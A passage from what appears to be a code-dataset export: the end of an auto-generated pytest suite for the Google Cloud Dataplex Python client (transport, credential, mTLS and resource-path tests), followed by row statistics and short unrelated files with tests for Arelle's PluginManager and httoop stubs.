next_page_token="def",
),
service.ListSessionsResponse(
sessions=[
analyze.Session(),
],
next_page_token="ghi",
),
service.ListSessionsResponse(
sessions=[
analyze.Session(),
analyze.Session(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_sessions(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_credentials_transport_error():
# It is an error to provide credentials and a transport instance.
transport = transports.DataplexServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# It is an error to provide a credentials file and a transport instance.
transport = transports.DataplexServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = DataplexServiceClient(
client_options={"credentials_file": "credentials.json"},
transport=transport,
)
# It is an error to provide an api_key and a transport instance.
transport = transports.DataplexServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
options = client_options.ClientOptions()
options.api_key = "api_key"
with pytest.raises(ValueError):
client = DataplexServiceClient(
client_options=options,
transport=transport,
)
# It is an error to provide an api_key and a credential.
options = mock.Mock()
options.api_key = "api_key"
with pytest.raises(ValueError):
client = DataplexServiceClient(
client_options=options, credentials=ga_credentials.AnonymousCredentials()
)
# It is an error to provide scopes and a transport instance.
transport = transports.DataplexServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = DataplexServiceClient(
client_options={"scopes": ["1", "2"]},
transport=transport,
)
def test_transport_instance():
# A client may be instantiated with a custom transport instance.
transport = transports.DataplexServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
client = DataplexServiceClient(transport=transport)
assert client.transport is transport
def test_transport_get_channel():
# A client may be instantiated with a custom transport instance.
transport = transports.DataplexServiceGrpcTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
transport = transports.DataplexServiceGrpcAsyncIOTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
@pytest.mark.parametrize(
"transport_class",
[
transports.DataplexServiceGrpcTransport,
transports.DataplexServiceGrpcAsyncIOTransport,
],
)
def test_transport_adc(transport_class):
# Test default credentials are used if not provided.
with mock.patch.object(google.auth, "default") as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class()
adc.assert_called_once()
@pytest.mark.parametrize(
"transport_name",
[
"grpc",
],
)
def test_transport_kind(transport_name):
transport = DataplexServiceClient.get_transport_class(transport_name)(
credentials=ga_credentials.AnonymousCredentials(),
)
assert transport.kind == transport_name
def test_transport_grpc_default():
# A client should use the gRPC transport by default.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
assert isinstance(
client.transport,
transports.DataplexServiceGrpcTransport,
)
def test_dataplex_service_base_transport_error():
# Passing both a credentials object and credentials_file should raise an error
with pytest.raises(core_exceptions.DuplicateCredentialArgs):
transport = transports.DataplexServiceTransport(
credentials=ga_credentials.AnonymousCredentials(),
credentials_file="credentials.json",
)
def test_dataplex_service_base_transport():
# Instantiate the base transport.
with mock.patch(
"google.cloud.dataplex_v1.services.dataplex_service.transports.DataplexServiceTransport.__init__"
) as Transport:
Transport.return_value = None
transport = transports.DataplexServiceTransport(
credentials=ga_credentials.AnonymousCredentials(),
)
# Every method on the transport should just blindly
# raise NotImplementedError.
methods = (
"create_lake",
"update_lake",
"delete_lake",
"list_lakes",
"get_lake",
"list_lake_actions",
"create_zone",
"update_zone",
"delete_zone",
"list_zones",
"get_zone",
"list_zone_actions",
"create_asset",
"update_asset",
"delete_asset",
"list_assets",
"get_asset",
"list_asset_actions",
"create_task",
"update_task",
"delete_task",
"list_tasks",
"get_task",
"list_jobs",
"get_job",
"cancel_job",
"create_environment",
"update_environment",
"delete_environment",
"list_environments",
"get_environment",
"list_sessions",
)
for method in methods:
with pytest.raises(NotImplementedError):
getattr(transport, method)(request=object())
with pytest.raises(NotImplementedError):
transport.close()
# Additionally, the LRO client (a property) should
# also raise NotImplementedError
with pytest.raises(NotImplementedError):
transport.operations_client
# Catch all for all remaining methods and properties
remainder = [
"kind",
]
for r in remainder:
with pytest.raises(NotImplementedError):
getattr(transport, r)()
def test_dataplex_service_base_transport_with_credentials_file():
# Instantiate the base transport with a credentials file
with mock.patch.object(
google.auth, "load_credentials_from_file", autospec=True
) as load_creds, mock.patch(
"google.cloud.dataplex_v1.services.dataplex_service.transports.DataplexServiceTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
load_creds.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.DataplexServiceTransport(
credentials_file="credentials.json",
quota_project_id="octopus",
)
load_creds.assert_called_once_with(
"credentials.json",
scopes=None,
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id="octopus",
)
def test_dataplex_service_base_transport_with_adc():
# Test the default credentials are used if credentials and credentials_file are None.
with mock.patch.object(google.auth, "default", autospec=True) as adc, mock.patch(
"google.cloud.dataplex_v1.services.dataplex_service.transports.DataplexServiceTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport = transports.DataplexServiceTransport()
adc.assert_called_once()
def test_dataplex_service_auth_adc():
# If no credentials are provided, we should use ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
DataplexServiceClient()
adc.assert_called_once_with(
scopes=None,
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id=None,
)
@pytest.mark.parametrize(
"transport_class",
[
transports.DataplexServiceGrpcTransport,
transports.DataplexServiceGrpcAsyncIOTransport,
],
)
def test_dataplex_service_transport_auth_adc(transport_class):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(google.auth, "default", autospec=True) as adc:
adc.return_value = (ga_credentials.AnonymousCredentials(), None)
transport_class(quota_project_id="octopus", scopes=["1", "2"])
adc.assert_called_once_with(
scopes=["1", "2"],
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
quota_project_id="octopus",
)
@pytest.mark.parametrize(
"transport_class,grpc_helpers",
[
(transports.DataplexServiceGrpcTransport, grpc_helpers),
(transports.DataplexServiceGrpcAsyncIOTransport, grpc_helpers_async),
],
)
def test_dataplex_service_transport_create_channel(transport_class, grpc_helpers):
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(
google.auth, "default", autospec=True
) as adc, mock.patch.object(
grpc_helpers, "create_channel", autospec=True
) as create_channel:
creds = ga_credentials.AnonymousCredentials()
adc.return_value = (creds, None)
transport_class(quota_project_id="octopus", scopes=["1", "2"])
create_channel.assert_called_with(
"dataplex.googleapis.com:443",
credentials=creds,
credentials_file=None,
quota_project_id="octopus",
default_scopes=("https://www.googleapis.com/auth/cloud-platform",),
scopes=["1", "2"],
default_host="dataplex.googleapis.com",
ssl_credentials=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
@pytest.mark.parametrize(
"transport_class",
[
transports.DataplexServiceGrpcTransport,
transports.DataplexServiceGrpcAsyncIOTransport,
],
)
def test_dataplex_service_grpc_transport_client_cert_source_for_mtls(transport_class):
cred = ga_credentials.AnonymousCredentials()
# Check ssl_channel_credentials is used if provided.
with mock.patch.object(transport_class, "create_channel") as mock_create_channel:
mock_ssl_channel_creds = mock.Mock()
transport_class(
host="squid.clam.whelk",
credentials=cred,
ssl_channel_credentials=mock_ssl_channel_creds,
)
mock_create_channel.assert_called_once_with(
"squid.clam.whelk:443",
credentials=cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_channel_creds,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
# Check if ssl_channel_credentials is not provided, then client_cert_source_for_mtls
# is used.
with mock.patch.object(transport_class, "create_channel", return_value=mock.Mock()):
with mock.patch("grpc.ssl_channel_credentials") as mock_ssl_cred:
transport_class(
credentials=cred,
client_cert_source_for_mtls=client_cert_source_callback,
)
expected_cert, expected_key = client_cert_source_callback()
mock_ssl_cred.assert_called_once_with(
certificate_chain=expected_cert, private_key=expected_key
)
@pytest.mark.parametrize(
"transport_name",
[
"grpc",
"grpc_asyncio",
],
)
def test_dataplex_service_host_no_port(transport_name):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="dataplex.googleapis.com"
),
transport=transport_name,
)
assert client.transport._host == ("dataplex.googleapis.com:443")
@pytest.mark.parametrize(
"transport_name",
[
"grpc",
"grpc_asyncio",
],
)
def test_dataplex_service_host_with_port(transport_name):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="dataplex.googleapis.com:8000"
),
transport=transport_name,
)
assert client.transport._host == ("dataplex.googleapis.com:8000")
def test_dataplex_service_grpc_transport_channel():
channel = grpc.secure_channel("http://localhost/", grpc.local_channel_credentials())
# Check that channel is used if provided.
transport = transports.DataplexServiceGrpcTransport(
host="squid.clam.whelk",
channel=channel,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert transport._ssl_channel_credentials == None
def test_dataplex_service_grpc_asyncio_transport_channel():
channel = aio.secure_channel("http://localhost/", grpc.local_channel_credentials())
# Check that channel is used if provided.
transport = transports.DataplexServiceGrpcAsyncIOTransport(
host="squid.clam.whelk",
channel=channel,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert transport._ssl_channel_credentials == None
# Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are
# removed from grpc/grpc_asyncio transport constructor.
@pytest.mark.parametrize(
"transport_class",
[
transports.DataplexServiceGrpcTransport,
transports.DataplexServiceGrpcAsyncIOTransport,
],
)
def test_dataplex_service_transport_channel_mtls_with_client_cert_source(
transport_class,
):
with mock.patch(
"grpc.ssl_channel_credentials", autospec=True
) as grpc_ssl_channel_cred:
with mock.patch.object(
transport_class, "create_channel"
) as grpc_create_channel:
mock_ssl_cred = mock.Mock()
grpc_ssl_channel_cred.return_value = mock_ssl_cred
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
cred = ga_credentials.AnonymousCredentials()
with pytest.warns(DeprecationWarning):
with mock.patch.object(google.auth, "default") as adc:
adc.return_value = (cred, None)
transport = transport_class(
host="squid.clam.whelk",
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=client_cert_source_callback,
)
adc.assert_called_once()
grpc_ssl_channel_cred.assert_called_once_with(
certificate_chain=b"cert bytes", private_key=b"key bytes"
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
assert transport.grpc_channel == mock_grpc_channel
assert transport._ssl_channel_credentials == mock_ssl_cred
# Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are
# removed from grpc/grpc_asyncio transport constructor.
@pytest.mark.parametrize(
"transport_class",
[
transports.DataplexServiceGrpcTransport,
transports.DataplexServiceGrpcAsyncIOTransport,
],
)
def test_dataplex_service_transport_channel_mtls_with_adc(transport_class):
mock_ssl_cred = mock.Mock()
with mock.patch.multiple(
"google.auth.transport.grpc.SslCredentials",
__init__=mock.Mock(return_value=None),
ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred),
):
with mock.patch.object(
transport_class, "create_channel"
) as grpc_create_channel:
mock_grpc_channel = mock.Mock()
grpc_create_channel.return_value = mock_grpc_channel
mock_cred = mock.Mock()
with pytest.warns(DeprecationWarning):
transport = transport_class(
host="squid.clam.whelk",
credentials=mock_cred,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=None,
)
grpc_create_channel.assert_called_once_with(
"mtls.squid.clam.whelk:443",
credentials=mock_cred,
credentials_file=None,
scopes=None,
ssl_credentials=mock_ssl_cred,
quota_project_id=None,
options=[
("grpc.max_send_message_length", -1),
("grpc.max_receive_message_length", -1),
],
)
assert transport.grpc_channel == mock_grpc_channel
def test_dataplex_service_grpc_lro_client():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
transport = client.transport
# Ensure that we have a api-core operations client.
assert isinstance(
transport.operations_client,
operations_v1.OperationsClient,
)
# Ensure that subsequent calls to the property send the exact same object.
assert transport.operations_client is transport.operations_client
def test_dataplex_service_grpc_lro_async_client():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc_asyncio",
)
transport = client.transport
# Ensure that we have a api-core operations client.
assert isinstance(
transport.operations_client,
operations_v1.OperationsAsyncClient,
)
# Ensure that subsequent calls to the property send the exact same object.
assert transport.operations_client is transport.operations_client
def test_action_path():
project = "squid"
location = "clam"
lake = "whelk"
action = "octopus"
expected = (
"projects/{project}/locations/{location}/lakes/{lake}/actions/{action}".format(
project=project,
location=location,
lake=lake,
action=action,
)
)
actual = DataplexServiceClient.action_path(project, location, lake, action)
assert expected == actual
def test_parse_action_path():
expected = {
"project": "oyster",
"location": "nudibranch",
"lake": "cuttlefish",
"action": "mussel",
}
path = DataplexServiceClient.action_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_action_path(path)
assert expected == actual
def test_asset_path():
project = "winkle"
location = "nautilus"
lake = "scallop"
zone = "abalone"
asset = "squid"
expected = "projects/{project}/locations/{location}/lakes/{lake}/zones/{zone}/assets/{asset}".format(
project=project,
location=location,
lake=lake,
zone=zone,
asset=asset,
)
actual = DataplexServiceClient.asset_path(project, location, lake, zone, asset)
assert expected == actual
def test_parse_asset_path():
expected = {
"project": "clam",
"location": "whelk",
"lake": "octopus",
"zone": "oyster",
"asset": "nudibranch",
}
path = DataplexServiceClient.asset_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_asset_path(path)
assert expected == actual
def test_environment_path():
project = "cuttlefish"
location = "mussel"
lake = "winkle"
environment = "nautilus"
expected = "projects/{project}/locations/{location}/lakes/{lake}/environments/{environment}".format(
project=project,
location=location,
lake=lake,
environment=environment,
)
actual = DataplexServiceClient.environment_path(
project, location, lake, environment
)
assert expected == actual
def test_parse_environment_path():
expected = {
"project": "scallop",
"location": "abalone",
"lake": "squid",
"environment": "clam",
}
path = DataplexServiceClient.environment_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_environment_path(path)
assert expected == actual
def test_job_path():
project = "whelk"
location = "octopus"
lake = "oyster"
task = "nudibranch"
job = "cuttlefish"
expected = "projects/{project}/locations/{location}/lakes/{lake}/tasks/{task}/jobs/{job}".format(
project=project,
location=location,
lake=lake,
task=task,
job=job,
)
actual = DataplexServiceClient.job_path(project, location, lake, task, job)
assert expected == actual
def test_parse_job_path():
expected = {
"project": "mussel",
"location": "winkle",
"lake": "nautilus",
"task": "scallop",
"job": "abalone",
}
path = DataplexServiceClient.job_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_job_path(path)
assert expected == actual
def test_lake_path():
project = "squid"
location = "clam"
lake = "whelk"
expected = "projects/{project}/locations/{location}/lakes/{lake}".format(
project=project,
location=location,
lake=lake,
)
actual = DataplexServiceClient.lake_path(project, location, lake)
assert expected == actual
def test_parse_lake_path():
expected = {
"project": "octopus",
"location": "oyster",
"lake": "nudibranch",
}
path = DataplexServiceClient.lake_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_lake_path(path)
assert expected == actual
def test_session_path():
project = "cuttlefish"
location = "mussel"
lake = "winkle"
environment = "nautilus"
session = "scallop"
expected = "projects/{project}/locations/{location}/lakes/{lake}/environments/{environment}/sessions/{session}".format(
project=project,
location=location,
lake=lake,
environment=environment,
session=session,
)
actual = DataplexServiceClient.session_path(
project, location, lake, environment, session
)
assert expected == actual
def test_parse_session_path():
expected = {
"project": "abalone",
"location": "squid",
"lake": "clam",
"environment": "whelk",
"session": "octopus",
}
path = DataplexServiceClient.session_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_session_path(path)
assert expected == actual
def test_task_path():
project = "oyster"
location = "nudibranch"
lake = "cuttlefish"
task = "mussel"
expected = (
"projects/{project}/locations/{location}/lakes/{lake}/tasks/{task}".format(
project=project,
location=location,
lake=lake,
task=task,
)
)
actual = DataplexServiceClient.task_path(project, location, lake, task)
assert expected == actual
def test_parse_task_path():
expected = {
"project": "winkle",
"location": "nautilus",
"lake": "scallop",
"task": "abalone",
}
path = DataplexServiceClient.task_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_task_path(path)
assert expected == actual
def test_zone_path():
project = "squid"
location = "clam"
lake = "whelk"
zone = "octopus"
expected = (
"projects/{project}/locations/{location}/lakes/{lake}/zones/{zone}".format(
project=project,
location=location,
lake=lake,
zone=zone,
)
)
actual = DataplexServiceClient.zone_path(project, location, lake, zone)
assert expected == actual
def test_parse_zone_path():
expected = {
"project": "oyster",
"location": "nudibranch",
"lake": "cuttlefish",
"zone": "mussel",
}
path = DataplexServiceClient.zone_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_zone_path(path)
assert expected == actual
def test_common_billing_account_path():
billing_account = "winkle"
expected = "billingAccounts/{billing_account}".format(
billing_account=billing_account,
)
actual = DataplexServiceClient.common_billing_account_path(billing_account)
assert expected == actual
def test_parse_common_billing_account_path():
expected = {
"billing_account": "nautilus",
}
path = DataplexServiceClient.common_billing_account_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_common_billing_account_path(path)
assert expected == actual
def test_common_folder_path():
folder = "scallop"
expected = "folders/{folder}".format(
folder=folder,
)
actual = DataplexServiceClient.common_folder_path(folder)
assert expected == actual
def test_parse_common_folder_path():
expected = {
"folder": "abalone",
}
path = DataplexServiceClient.common_folder_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_common_folder_path(path)
assert expected == actual
def test_common_organization_path():
organization = "squid"
expected = "organizations/{organization}".format(
organization=organization,
)
actual = DataplexServiceClient.common_organization_path(organization)
assert expected == actual
def test_parse_common_organization_path():
expected = {
"organization": "clam",
}
path = DataplexServiceClient.common_organization_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_common_organization_path(path)
assert expected == actual
def test_common_project_path():
project = "whelk"
expected = "projects/{project}".format(
project=project,
)
actual = DataplexServiceClient.common_project_path(project)
assert expected == actual
def test_parse_common_project_path():
expected = {
"project": "octopus",
}
path = DataplexServiceClient.common_project_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_common_project_path(path)
assert expected == actual
def test_common_location_path():
project = "oyster"
location = "nudibranch"
expected = "projects/{project}/locations/{location}".format(
project=project,
location=location,
)
actual = DataplexServiceClient.common_location_path(project, location)
assert expected == actual
def test_parse_common_location_path():
expected = {
"project": "cuttlefish",
"location": "mussel",
}
path = DataplexServiceClient.common_location_path(**expected)
# Check that the path construction is reversible.
actual = DataplexServiceClient.parse_common_location_path(path)
assert expected == actual
def test_client_with_default_client_info():
client_info = gapic_v1.client_info.ClientInfo()
with mock.patch.object(
transports.DataplexServiceTransport, "_prep_wrapped_messages"
) as prep:
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
client_info=client_info,
)
prep.assert_called_once_with(client_info)
with mock.patch.object(
transports.DataplexServiceTransport, "_prep_wrapped_messages"
) as prep:
transport_class = DataplexServiceClient.get_transport_class()
transport = transport_class(
credentials=ga_credentials.AnonymousCredentials(),
client_info=client_info,
)
prep.assert_called_once_with(client_info)
@pytest.mark.asyncio
async def test_transport_close_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc_asyncio",
)
with mock.patch.object(
type(getattr(client.transport, "grpc_channel")), "close"
) as close:
async with client:
close.assert_not_called()
close.assert_called_once()
def test_transport_close():
transports = {
"grpc": "_grpc_channel",
}
for transport, close_name in transports.items():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport
)
with mock.patch.object(
type(getattr(client.transport, close_name)), "close"
) as close:
with client:
close.assert_not_called()
close.assert_called_once()
def test_client_ctx():
transports = [
"grpc",
]
for transport in transports:
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport
)
# Test client calls underlying transport.
with mock.patch.object(type(client.transport), "close") as close:
close.assert_not_called()
with client:
pass
close.assert_called()
@pytest.mark.parametrize(
"client_class,transport_class",
[
(DataplexServiceClient, transports.DataplexServiceGrpcTransport),
(DataplexServiceAsyncClient, transports.DataplexServiceGrpcAsyncIOTransport),
],
)
def test_api_key_credentials(client_class, transport_class):
with mock.patch.object(
google.auth._default, "get_api_key_credentials", create=True
) as get_api_key_credentials:
mock_cred = mock.Mock()
get_api_key_credentials.return_value = mock_cred
options = client_options.ClientOptions()
options.api_key = "api_key"
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=mock_cred,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
| 34.463482
| 123
| 0.648752
| 43,660
| 387,404
| 5.553252
| 0.011979
| 0.015838
| 0.025737
| 0.063698
| 0.957967
| 0.9442
| 0.93127
| 0.916582
| 0.907137
| 0.881083
| 0
| 0.00387
| 0.266257
| 387,404
| 11,240
| 124
| 34.466548
| 0.849079
| 0.213382
| 0
| 0.743872
| 0
| 0
| 0.068827
| 0.019606
| 0
| 0
| 0
| 0
| 0.112333
| 1
| 0.031084
| false
| 0.000126
| 0.003033
| 0.000253
| 0.034369
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fb31789243c5feb05f8275ec09ecc38990ed0b3f
| 91
|
py
|
Python
|
parameters/IGParameterImage/__init__.py
|
bertrandboudaud/imagegraph
|
7c95b645edeb1a68d56c6c3b19f1ff6fde413afc
|
[
"MIT"
] | null | null | null |
parameters/IGParameterImage/__init__.py
|
bertrandboudaud/imagegraph
|
7c95b645edeb1a68d56c6c3b19f1ff6fde413afc
|
[
"MIT"
] | null | null | null |
parameters/IGParameterImage/__init__.py
|
bertrandboudaud/imagegraph
|
7c95b645edeb1a68d56c6c3b19f1ff6fde413afc
|
[
"MIT"
] | null | null | null |
from . import IGParameterImage
def get():
return IGParameterImage.IGParameterImage()
| 15.166667
| 46
| 0.769231
| 8
| 91
| 8.75
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.153846
| 91
| 5
| 47
| 18.2
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
fb39539fc797af4d397cc5f9b3512bd845e81a8a
| 3,204
|
py
|
Python
|
tests/unit_tests/arelle/test_pluginmanager.py
|
austinmatherne-wk/Arelle-open
|
b212aea1a568914eb56ae6224ebb0f4618ddfedc
|
[
"BSD-3-Clause",
"Apache-2.0",
"MIT"
] | null | null | null |
tests/unit_tests/arelle/test_pluginmanager.py
|
austinmatherne-wk/Arelle-open
|
b212aea1a568914eb56ae6224ebb0f4618ddfedc
|
[
"BSD-3-Clause",
"Apache-2.0",
"MIT"
] | null | null | null |
tests/unit_tests/arelle/test_pluginmanager.py
|
austinmatherne-wk/Arelle-open
|
b212aea1a568914eb56ae6224ebb0f4618ddfedc
|
[
"BSD-3-Clause",
"Apache-2.0",
"MIT"
] | null | null | null |
from mock import Mock
from arelle import PluginManager
def test_plugin_manager_init_first_pass():
"""
Test that pluginConfig is correctly setup during init on fresh pass
"""
cntlr = Mock(pluginDir='some_dir')
PluginManager.init(cntlr, loadPluginConfig=False)
assert len(PluginManager.pluginConfig) == 2
assert 'modules' in PluginManager.pluginConfig
assert isinstance(PluginManager.pluginConfig.get('modules'), dict)
assert len(PluginManager.pluginConfig.get('modules')) == 0
assert 'classes' in PluginManager.pluginConfig
assert isinstance(PluginManager.pluginConfig.get('classes'), dict)
assert len(PluginManager.pluginConfig.get('classes')) == 0
assert len(PluginManager.modulePluginInfos) == 0
assert len(PluginManager.pluginMethodsForClasses) == 0
assert PluginManager._cntlr == cntlr
def test_plugin_manager_init_config_already_exists():
"""
Test that pluginConfig is correctly setup during init on a second pass
"""
cntlr = Mock(pluginDir='some_dir')
PluginManager.init(cntlr, loadPluginConfig=False)
PluginManager.close()
PluginManager.init(cntlr, loadPluginConfig=False)
assert len(PluginManager.pluginConfig) == 2
assert 'modules' in PluginManager.pluginConfig
assert isinstance(PluginManager.pluginConfig.get('modules'), dict)
assert len(PluginManager.pluginConfig.get('modules')) == 0
assert 'classes' in PluginManager.pluginConfig
assert isinstance(PluginManager.pluginConfig.get('classes'), dict)
assert len(PluginManager.pluginConfig.get('classes')) == 0
assert len(PluginManager.modulePluginInfos) == 0
assert len(PluginManager.pluginMethodsForClasses) == 0
assert PluginManager._cntlr == cntlr
def test_plugin_manager_close():
"""
Test that pluginConfig, modulePluginInfos and pluginMethodsForClasses are cleared when close is called
"""
cntlr = Mock(pluginDir='some_dir')
PluginManager.init(cntlr, loadPluginConfig=False)
assert len(PluginManager.modulePluginInfos) == 0
assert len(PluginManager.pluginMethodsForClasses) == 0
PluginManager.modulePluginInfos['module'] = 'plugin_info'
PluginManager.pluginMethodsForClasses['class'] = 'plugin_method'
PluginManager.close()
assert len(PluginManager.pluginConfig) == 0
assert len(PluginManager.modulePluginInfos) == 0
assert len(PluginManager.pluginMethodsForClasses) == 0
assert PluginManager._cntlr == cntlr
def test_plugin_manager_reset():
"""
Test that modulePluginInfos and pluginMethodsForClasses are cleared when close is called, pluginConfig remains unchanged
"""
cntlr = Mock(pluginDir='some_dir')
PluginManager.init(cntlr, loadPluginConfig=False)
assert len(PluginManager.modulePluginInfos) == 0
assert len(PluginManager.pluginMethodsForClasses) == 0
PluginManager.modulePluginInfos['module'] = 'plugin_info'
PluginManager.pluginMethodsForClasses['class'] = 'plugin_method'
PluginManager.reset()
assert len(PluginManager.pluginConfig) == 2
assert len(PluginManager.modulePluginInfos) == 0
assert len(PluginManager.pluginMethodsForClasses) == 0
assert PluginManager._cntlr == cntlr
| 42.157895
| 124
| 0.753121
| 325
| 3,204
| 7.335385
| 0.172308
| 0.075503
| 0.184564
| 0.086829
| 0.909815
| 0.89807
| 0.883389
| 0.883389
| 0.883389
| 0.784396
| 0
| 0.00735
| 0.150749
| 3,204
| 75
| 125
| 42.72
| 0.868798
| 0.112984
| 0
| 0.851852
| 0
| 0
| 0.066882
| 0
| 0
| 0
| 0
| 0
| 0.592593
| 1
| 0.074074
| false
| 0.018519
| 0.037037
| 0
| 0.111111
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
34cec7f6f5f1d2ed6072918555c80459109f03b8
| 100
|
py
|
Python
|
tests/messaging/test_response_header.py
|
spaceone/httoop
|
99f5f51a6ebab4bfdfd02d3705a0bffb5379b4a9
|
[
"MIT"
] | 13
|
2015-01-07T19:39:02.000Z
|
2021-07-12T21:09:28.000Z
|
tests/messaging/test_response_header.py
|
spaceone/httoop
|
99f5f51a6ebab4bfdfd02d3705a0bffb5379b4a9
|
[
"MIT"
] | 9
|
2015-06-14T11:37:26.000Z
|
2020-12-11T09:12:30.000Z
|
tests/messaging/test_response_header.py
|
spaceone/httoop
|
99f5f51a6ebab4bfdfd02d3705a0bffb5379b4a9
|
[
"MIT"
] | 10
|
2015-05-28T05:51:46.000Z
|
2021-12-29T20:36:15.000Z
|
def test_response_contains_date_header():
pass
def test_response_contains_server_header():
pass
| 14.285714
| 43
| 0.84
| 14
| 100
| 5.428571
| 0.571429
| 0.184211
| 0.394737
| 0.605263
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 100
| 6
| 44
| 16.666667
| 0.844444
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
5519af4ab5a4d7f7adff5d27a38a259858a15672
| 247
|
py
|
Python
|
